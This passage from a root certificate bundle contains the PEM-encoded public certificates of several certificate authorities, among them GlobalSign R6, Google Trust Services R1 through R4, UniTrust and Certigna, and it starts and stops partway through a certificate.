+qvWBkofZ6aYMBzdLNvcGJVXZsb/XItW9XcCAwEAAaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNV
HSMEGDAWgBT5YLvU49U09rj1BoAlp3PbRmmonjAdBgNVHQ4EFgQU+WC71OPVNPa49QaAJadz20Zp
qJ4wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBWs47LCp1Jjr+kxJG7ZhcFUZh1
++VQLHqe8RT6q9OKPv+RKY9ji9i0qVQBDb6Thi/5Sm3HXvVX+cpVHBK+Rw82xd9qt9t1wkclf7nx
Y/hoLVUE0fKNsKTPvDxeH3jnpaAgcLAExbf3cqfeIg29MyVGjGSSJuM+LmOW2puMPfgYCdcDzH2G
guDKBAdRUNf/ktUM79qGn5nX67evaOI5JpS6aLe/g9Pqemc9YmeuJeVy6OLk7K4S9ksrPJ/psEDz
OFSz/bdoyNrGj1E8svuR3Bznm53htw1yj+KkxKl4+esUrMZDBcJlOSgYAsOCsp0FvmXtll9ldDz7
CTUue5wT/RsPXcdtgTpWD8w74a8CLyKsRspGPKAcTNZEtF4uXBVmCeEmKf7GUmG6sXP/wwyc5Wxq
lD8UykAWlYTzWamsX0xhk23RO8yilQwipmdnRC652dKKQbNmC1r7fSOl8hqw/96bg5Qu0T/fkreR
rwU7ZcegbLHNYhLDkBvjJc40vG93drEQw/cFGsDWr3RiSBd3kmmQYRzelYB0VI8YHMPzA9C/pEN1
hlMYegouCRw2n5H9gooiS9EOUCXdywMMF8mDAAhONU2Ki+3wApRmLER/y5UnlhetCTCstnEXbosX
9hwJ1C07mKVx01QT2WDz9UtmT/rx7iASjbSsV7FFY6GsdqnC+w==
-----END CERTIFICATE-----

SSL.com EV Root Certification Authority ECC
===========================================
-----BEGIN CERTIFICATE-----
MIIClDCCAhqgAwIBAgIILCmcWxbtBZUwCgYIKoZIzj0EAwIwfzELMAkGA1UEBhMCVVMxDjAMBgNV
BAgMBVRleGFzMRAwDgYDVQQHDAdIb3VzdG9uMRgwFgYDVQQKDA9TU0wgQ29ycG9yYXRpb24xNDAy
BgNVBAMMK1NTTC5jb20gRVYgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSBFQ0MwHhcNMTYw
MjEyMTgxNTIzWhcNNDEwMjEyMTgxNTIzWjB/MQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVGV4YXMx
EDAOBgNVBAcMB0hvdXN0b24xGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjE0MDIGA1UEAwwrU1NM
LmNvbSBFViBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IEVDQzB2MBAGByqGSM49AgEGBSuB
BAAiA2IABKoSR5CYG/vvw0AHgyBO8TCCogbR8pKGYfL2IWjKAMTH6kMAVIbc/R/fALhBYlzccBYy
3h+Z1MzFB8gIH2EWB1E9fVwHU+M1OIzfzZ/ZLg1KthkuWnBaBu2+8KGwytAJKaNjMGEwHQYDVR0O
BBYEFFvKXuXe0oGqzagtZFG22XKbl+ZPMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUW8pe
5d7SgarNqC1kUbbZcpuX5k8wDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMCA2gAMGUCMQCK5kCJ
N+vp1RPZytRrJPOwPYdGWBrssd9v+1a6cGvHOMzosYxPD/fxZ3YOg9AeUY8CMD32IygmTMZgh5Mm
m7I1HrrW9zzRHM76JTymGoEVW/MSD2zuZYrJh6j5B+BimoxcSg==
-----END CERTIFICATE-----

GlobalSign Root CA - R6
=======================
-----BEGIN CERTIFICATE-----
MIIFgzCCA2ugAwIBAgIORea7A4Mzw4VlSOb/RVEwDQYJKoZIhvcNAQEMBQAwTDEgMB4GA1UECxMX
R2xvYmFsU2lnbiBSb290IENBIC0gUjYxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTQxMjEwMDAwMDAwWhcNMzQxMjEwMDAwMDAwWjBMMSAwHgYDVQQLExdHbG9i
YWxTaWduIFJvb3QgQ0EgLSBSNjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFs
U2lnbjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJUH6HPKZvnsFMp7PPcNCPG0RQss
grRIxutbPK6DuEGSMxSkb3/pKszGsIhrxbaJ0cay/xTOURQh7ErdG1rG1ofuTToVBu1kZguSgMpE
3nOUTvOniX9PeGMIyBJQbUJmL025eShNUhqKGoC3GYEOfsSKvGRMIRxDaNc9PIrFsmbVkJq3MQbF
vuJtMgamHvm566qjuL++gmNQ0PAYid/kD3n16qIfKtJwLnvnvJO7bVPiSHyMEAc4/2ayd2F+4OqM
PKq0pPbzlUoSB239jLKJz9CgYXfIWHSw1CM69106yqLbnQneXUQtkPGBzVeS+n68UARjNN9rkxi+
azayOeSsJDa38O+2HBNXk7besvjihbdzorg1qkXy4J02oW9UivFyVm4uiMVRQkQVlO6jxTiWm05O
WgtH8wY2SXcwvHE35absIQh1/OZhFj931dmRl4QKbNQCTXTAFO39OfuD8l4UoQSwC+n+7o/hbguy
CLNhZglqsQY6ZZZZwPA1/cnaKI0aEYdwgQqomnUdnjqGBQCe24DWJfncBZ4nWUx2OVvq+aWh2IMP
0f/fMBH5hc8zSPXKbWQULHpYT9NLCEnFlWQaYw55PfWzjMpYrZxCRXluDocZXFSxZba/jJvcE+kN
b7gu3GduyYsRtYQUigAZcIN5kZeR1BonvzceMgfYFGM8KEyvAgMBAAGjYzBhMA4GA1UdDwEB/wQE
AwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSubAWjkxPioufi1xzWx/B/yGdToDAfBgNV
HSMEGDAWgBSubAWjkxPioufi1xzWx/B/yGdToDANBgkqhkiG9w0BAQwFAAOCAgEAgyXt6NH9lVLN
nsAEoJFp5lzQhN7craJP6Ed41mWYqVuoPId8AorRbrcWc+ZfwFSY1XS+wc3iEZGtIxg93eFyRJa0
lV7Ae46ZeBZDE1ZXs6KzO7V33EByrKPrmzU+sQghoefEQzd5Mr6155wsTLxDKZmOMNOsIeDjHfrY
BzN2VAAiKrlNIC5waNrlU/yDXNOd8v9EDERm8tLjvUYAGm0CuiVdjaExUd1URhxN25mW7xocBFym
Fe944Hn+Xds+qkxV/ZoVqW/hpvvfcDDpw+5CRu3CkwWJ+n1jez/QcYF8AOiYrg54NMMl+68KnyBr
3TsTjxKM4kEaSHpzoHdpx7Zcf4LIHv5YGygrqGytXm3ABdJ7t+uA/iU3/gKbaKxCXcPu9czc8FB1
0jZpnOZ7BN9uBmm23goJSFmH63sUYHpkqmlD75HHTOwY3WzvUy2MmeFe8nI+z1TIvWfspA9MRf/T
uTAjB0yPEL+GltmZWrSZVxykzLsViVO6LAUP5MSeGbEYNNVMnbrt9x+vJJUEeKgDu+6B5dpffItK
oZB0JaezPkvILFa9x8jvOOJckvB595yEunQtYQEgfn7R8k8HWV+LLUNS60YMlOH1Zkd5d9VUWx+t
JDfLRVpOoERIyNiwmcUVhAn21klJwGW45hpxbqCo8YLoRT5s1gLXCmeDBVrJpBA=
-----END CERTIFICATE-----

OISTE WISeKey Global Root GC CA
===============================
-----BEGIN CERTIFICATE-----
MIICaTCCAe+gAwIBAgIQISpWDK7aDKtARb8roi066jAKBggqhkjOPQQDAzBtMQswCQYDVQQGEwJD
SDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEo
MCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQyBDQTAeFw0xNzA1MDkwOTQ4MzRa
Fw00MjA1MDkwOTU4MzNaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQL
ExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh
bCBSb290IEdDIENBMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAETOlQwMYPchi82PG6s4nieUqjFqdr
VCTbUf/q9Akkwwsin8tqJ4KBDdLArzHkdIJuyiXZjHWd8dvQmqJLIX4Wp2OQ0jnUsYd4XxiWD1Ab
NTcPasbc2RNNpI6QN+a9WzGRo1QwUjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd
BgNVHQ4EFgQUSIcUrOPDnpBgOtfKie7TrYy0UGYwEAYJKwYBBAGCNxUBBAMCAQAwCgYIKoZIzj0E
AwMDaAAwZQIwJsdpW9zV57LnyAyMjMPdeYwbY9XJUpROTYJKcx6ygISpJcBMWm1JKWB4E+J+SOtk
AjEA2zQgMgj/mkkCtojeFK9dbJlxjRo/i9fgojaGHAeCOnZT/cKi7e97sIBPWA9LUzm9
-----END CERTIFICATE-----

GTS Root R1
===========
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgIQbkepxUtHDA3sM9CJuRz04TANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQG
EwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJv
b3QgUjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAG
A1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx
9vaMf/vo27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7wCl7r
aKb0xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjwTcLCeoiKu7rPWRnW
r4+wB7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0PfyblqAj+lug8aJRT7oM6iCsVlgmy4HqM
LnXWnOunVmSPlk9orj2XwoSPwLxAwAtcvfaHszVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly
4cpk9+aCEI3oncKKiPo4Zor8Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr
06zqkUspzBmkMiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92
wO1AK/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70paDPvOmbsB4om
3xPXV2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrNVjzRlwW5y0vtOUucxD/SVRNu
JLDWcfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEM
BQADggIBADiWCu49tJYeX++dnAsznyvgyv3SjgofQXSlfKqE1OXyHuY3UjKcC9FhHb8owbZEKTV1
d5iyfNm9dKyKaOOpMQkpAWBz40d8U6iQSifvS9efk+eCNs6aaAyC58/UEBZvXw6ZXPYfcX3v73sv
fuo21pdwCxXu11xWajOl40k4DLh9+42FpLFZXvRq4d2h9mREruZRgyFmxhE+885H7pwoHyXa/6xm
ld01D1zvICxi/ZG6qcz8WpyTgYMpl0p8WnK0OdC3d8t5/Wk6kjftbjhlRn7pYL15iJdfOBL07q9b
gsiG1eGZbYwE8na6SfZu6W0eX6DvJ4J2QPim01hcDyxC2kLGe4g0x8HYRZvBPsVhHdljUEn2NIVq
4BjFbkerQUIpm/ZgDdIx02OYI5NaAIFItO/Nis3Jz5nu2Z6qNuFoS3FJFDYoOj0dzpqPJeaAcWEr
tXvM+SUWgeExX6GjfhaknBZqlxi9dnKlC54dNuYvoS++cJEPqOba+MSSQGwlfnuzCdyyF62ARPBo
pY+Udf90WuioAnwMCeKpSwughQtiue+hMZL77/ZRBIls6Kl0obsXs7X9SQ98POyDGCBDTtWTurQ0
sR8WNh8M5mQ5Fkzc4P4dyKliPUDqysU0ArSuiYgzNdwsE3PYJ/HQcu51OyLemGhmW/HGY0dVHLql
CFF1pkgl
-----END CERTIFICATE-----

GTS Root R2
===========
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgIQbkepxlqz5yDFMJo/aFLybzANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQG
EwJVUzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJv
b3QgUjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAG
A1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTuk
k3LvCvptnfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY6Dlo
7JUle3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAuMC6C/Pq8tBcKSOWI
m8Wba96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7kRXuJVfeKH2JShBKzwkCX44ofR5Gm
dFrS+LFjKBC4swm4VndAoiaYecb+3yXuPuWgf9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbu
ak7MkogwTZq9TwtImoS1mKPV+3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscsz
cTJGr61K8YzodDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RW
Ir9qS34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKaG73Vululycsl
aVNVJ1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCqgc7dGtxRcw1PcOnlthYhGXmy
5okLdWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEM
BQADggIBALZp8KZ3/p7uC4Gt4cCpx/k1HUCCq+YEtN/L9x0Pg/B+E02NjO7jMyLDOfxA325BS0JT
vhaI8dI4XsRomRyYUpOM52jtG2pzegVATX9lO9ZY8c6DR2Dj/5epnGB3GFW1fgiTz9D2PGcDFWEJ
+YF59exTpJ/JjwGLc8R3dtyDovUMSRqodt6Sm2T4syzFJ9MHwAiApJiS4wGWAqoC7o87xdFtCjMw
c3i5T1QWvwsHoaRc5svJXISPD+AVdyx+Jn7axEvbpxZ3B7DNdehyQtaVhJ2Gg/LkkM0JR9SLA3Da
WsYDQvTtN6LwG1BUSw7YhN4ZKJmBR64JGz9I0cNv4rBgF/XuIwKl2gBbbZCr7qLpGzvpx0QnRY5r
n/WkhLx3+WuXrD5RRaIRpsyF7gpo8j5QOHokYh4XIDdtak23CZvJ/KRY9bb7nE4Yu5UC56Gtmwfu
Nmsk0jmGwZODUNKBRqhfYlcsu2xkiAhu7xNUX90txGdj08+JN7+dIPT7eoOboB6BAFDC5AwiWVIQ
7UNWhwD4FFKnHYuTjKJNRn8nxnGbJN7k2oaLDX5rIMHAnuFl2GqjpuiFizoHCBy69Y9Vmhh1fuXs
gWbRIXOhNUQLgD1bnF5vKheW0YMjiGZt5obicDIvUiLnyOd/xCxgXS/Dr55FBcOEArf9LAhST4Ld
o/DUhgkC
-----END CERTIFICATE-----

GTS Root R3
===========
-----BEGIN CERTIFICATE-----
MIICDDCCAZGgAwIBAgIQbkepx2ypcyRAiQ8DVd2NHTAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjMwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcq
hkjOPQIBBgUrgQQAIgNiAAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUU
Rout736GjOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL24Cej
QjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTB8Sa6oC2uhYHP
0/EqEr24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEAgFukfCPAlaUs3L6JbyO5o91lAFJekazInXJ0
glMLfalAvWhgxeG4VDvBNhcl2MG9AjEAnjWSdIUlUfUk7GRSJFClH9voy8l27OyCbvWFGFPouOOa
KaqW04MjyaR7YbPMAuhd
-----END CERTIFICATE-----

GTS Root R4
===========
-----BEGIN CERTIFICATE-----
MIICCjCCAZGgAwIBAgIQbkepyIuUtui7OyrYorLBmTAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjQwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcq
hkjOPQIBBgUrgQQAIgNiAATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa
6zzuhXyiQHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvRHYqj
QjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSATNbrdP9JNqPV
2Py1PsVq8JQdjDAKBggqhkjOPQQDAwNnADBkAjBqUFJ0CMRw3J5QdCHojXohw0+WbhXRIjVhLfoI
N+4Zba3bssx9BzT1YBkstTTZbyACMANxsbqjYAuG7ZoIapVon+Kz4ZNkfF6Tpt95LY2F45TPI11x
zPKwTdb+mciUqXWi4w==
-----END CERTIFICATE-----

UCA Global G2 Root
==================
-----BEGIN CERTIFICATE-----
MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9MQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBHbG9iYWwgRzIgUm9vdDAeFw0x
NjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0xCzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlU
cnVzdDEbMBkGA1UEAwwSVUNBIEdsb2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A
MIICCgKCAgEAxeYrb3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmT
oni9kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzmVHqUwCoV
8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/RVogvGjqNO7uCEeBHANBS
h6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDcC/Vkw85DvG1xudLeJ1uK6NjGruFZfc8o
LTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIjtm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/
R+zvWr9LesGtOxdQXGLYD0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBe
KW4bHAyvj5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6DlNaBa
4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6iIis7nCs+dwp4wwc
OxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznPO6Q0ibd5Ei9Hxeepl2n8pndntd97
8XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFIHEjMz15DD/pQwIX4wVZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo
5sOASD0Ee/ojL3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5
1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl1qnN3e92mI0A
Ds0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oUb3n09tDh05S60FdRvScFDcH9
yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LVPtateJLbXDzz2K36uGt/xDYotgIVilQsnLAX
c47QN6MUPJiVAAwpBVueSUmxX8fjy88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHo
jhJi6IjMtX9Gl8CbEGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZk
bxqgDMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI+Vg7RE+x
ygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGyYiGqhkCyLmTTX8jjfhFn
RR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bXUB+K+wb1whnw0A==
-----END CERTIFICATE-----

UCA Extended Validation Root
============================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgIQT9Irj/VkyDOeTzRYZiNwYDANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQG
EwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9u
IFJvb3QwHhcNMTUwMzEzMDAwMDAwWhcNMzgxMjMxMDAwMDAwWjBHMQswCQYDVQQGEwJDTjERMA8G
A1UECgwIVW5pVHJ1c3QxJTAjBgNVBAMMHFVDQSBFeHRlbmRlZCBWYWxpZGF0aW9uIFJvb3QwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCpCQcoEwKwmeBkqh5DFnpzsZGgdT6o+uM4AHrs
iWogD4vFsJszA1qGxliG1cGFu0/GnEBNyr7uaZa4rYEwmnySBesFK5pI0Lh2PpbIILvSsPGP2KxF
Rv+qZ2C0d35qHzwaUnoEPQc8hQ2E0B92CvdqFN9y4zR8V05WAT558aopO2z6+I9tTcg1367r3CTu
eUWnhbYFiN6IXSV8l2RnCdm/WhUFhvMJHuxYMjMR83dksHYf5BA1FxvyDrFspCqjc/wJHx4yGVMR
59mzLC52LqGj3n5qiAno8geK+LLNEOfic0CTuwjRP+H8C5SzJe98ptfRr5//lpr1kXuYC3fUfugH
0mK1lTnj8/FtDw5lhIpjVMWAtuCeS31HJqcBCF3RiJ7XwzJE+oJKCmhUfzhTA8ykADNkUVkLo4KR
el7sFsLzKuZi2irbWWIQJUoqgQtHB0MGcIfS+pMRKXpITeuUx3BNr2fVUbGAIAEBtHoIppB/TuDv
B0GHr2qlXov7z1CymlSvw4m6WC31MJixNnI5fkkE/SmnTHnkBVfblLkWU41Gsx2VYVdWf6/wFlth
WG82UBEL2KwrlRYaDh8IzTY0ZRBiZtWAXxQgXy0MoHgKaNYs1+lvK9JKBZP8nm9rZ/+I8U6laUpS
NwXqxhaN0sSZ0YIrO7o1dfdRUVjzyAfd5LQDfwIDAQABo0IwQDAdBgNVHQ4EFgQU2XQ65DA9DfcS
3H5aBZ8eNJr34RQwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAYYwDQYJKoZIhvcNAQEL
BQADggIBADaNl8xCFWQpN5smLNb7rhVpLGsaGvdftvkHTFnq88nIua7Mui563MD1sC3AO6+fcAUR
ap8lTwEpcOPlDOHqWnzcSbvBHiqB9RZLcpHIojG5qtr8nR/zXUACE/xOHAbKsxSQVBcZEhrxH9cM
aVr2cXj0lH2RC47skFSOvG+hTKv8dGT9cZr4QQehzZHkPJrgmzI5c6sq1WnIeJEmMX3ixzDx/BR4
dxIOE/TdFpS/S2d7cFOFyrC78zhNLJA5wA3CXWvp4uXViI3WLL+rG761KIcSF3Ru/H38j9CHJrAb
+7lsq+KePRXBOy5nAliRn+/4Qh8st2j1da3Ptfb/EX3C8CSlrdP6oDyp+l3cpaDvRKS+1ujl5BOW
F3sGPjLtx7dCvHaj2GU4Kzg1USEODm8uNBNA4StnDG1KQTAYI1oyVZnJF+A83vbsea0rWBmirSwi
GpWOvpaQXUJXxPkUAzUrHC1RVwinOt4/5Mi0A3PCwSaAuwtCH60NryZy2sy+s6ODWA2CxR9GUeOc
GMyNm43sSet1UNWMKFnKdDTajAshqx7qG+XH/RU+wBeq+yNuJkbL+vmxcmtpzyKEC2IPrNkZAJSi
djzULZrtBJ4tBmIQN1IchXIbJ+XMxjHsN+xjWZsLHXbMfjKaiJUINlK73nZfdklJrX+9ZSCyycEr
dhh2n1ax
-----END CERTIFICATE-----

Certigna Root CA
================
-----BEGIN CERTIFICATE-----
MIIGWzCCBEOgAwIBAgIRAMrpG4nxVQMNo+ZBbcTjpuEwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UE
BhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczEcMBoGA1UECwwTMDAwMiA0ODE0NjMwODEwMDAzNjEZ
MBcGA1UEAwwQQ2VydGlnbmEgUm9vdCBDQTAeFw0xMzEwMDEwODMyMjdaFw0zMzEwMDEwODMyMjda
MFoxCzAJBgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxHDAaBgNVBAsMEzAwMDIgNDgxNDYz
MDgxMDAwMzYxGTAXBgNVBAMMEENlcnRpZ25hIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQDNGDllGlmx6mQWDoyUJJV8g9PFOSbcDO8WV43X2KyjQn+Cyu3NW9sOty3tRQgX
stmzy9YXUnIo245Onoq2C/mehJpNdt4iKVzSs9IGPjA5qXSjklYcoW9MCiBtnyN6tMbaLOQdLNyz
KNAT8kxOAkmhVECe5uUFoC2EyP+YbNDrihqECB63aCPuI9Vwzm1RaRDuoXrC0SIxwoKF0vJVdlB8
JXrJhFwLrN1CTivngqIkicuQstDuI7pmTLtipPlTWmR7fJj6o0ieD5Wupxj0auwuA0Wv8HT4Ks16
XdG+RCYyKfHx9WzMfgIhC59vpD++nVPiz32pLHxYGpfhPTc3GGYo0kDFUYqMwy3OU4gkWGQwFsWq
4NYKpkDfePb1BHxpE4S80dGnBs8B92jAqFe7OmGtBIyT46388NtEbVncSVmurJqZNjBBe3YzIoej
wpKGbvlw7q6Hh5UbxHq9MfPU0uWZ/75I7HX1eBYdpnDBfzwboZL7z8g81sWTCo/1VTp2lc5ZmIoJ
lXcymoO6LAQ6l73UL77XbJuiyn1tJslV1c/DeVIICZkHJC1kJWumIWmbat10TWuXekG9qxf5kBdI
jzb5LdXF2+6qhUVB+s06RbFo5jZMm5BX7CO5hwjCxAnxl4YqKE3idMDaxIzb3+KhF1nOJFl0Mdp/
/TBt2dzhauH8XwIDAQABo4IBGjCCARYwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw
HQYDVR0OBBYEFBiHVuBud+4kNTxOc5of1uHieX4rMB8GA1UdIwQYMBaAFBiHVuBud+4kNTxOc5of
1uHieX4rMEQGA1UdIAQ9MDswOQYEVR0gADAxMC8GCCsGAQUFBwIBFiNodHRwczovL3d3d3cuY2Vy
dGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilodHRwOi8vY3JsLmNlcnRpZ25h
LmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYraHR0cDovL2NybC5kaGlteW90aXMuY29tL2Nl
cnRpZ25hcm9vdGNhLmNybDANBgkqhkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOIt
OoldaDgvUSILSo3L6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxP
TGRGHVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH60BGM+RFq
7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncBlA2c5uk5jR+mUYyZDDl3
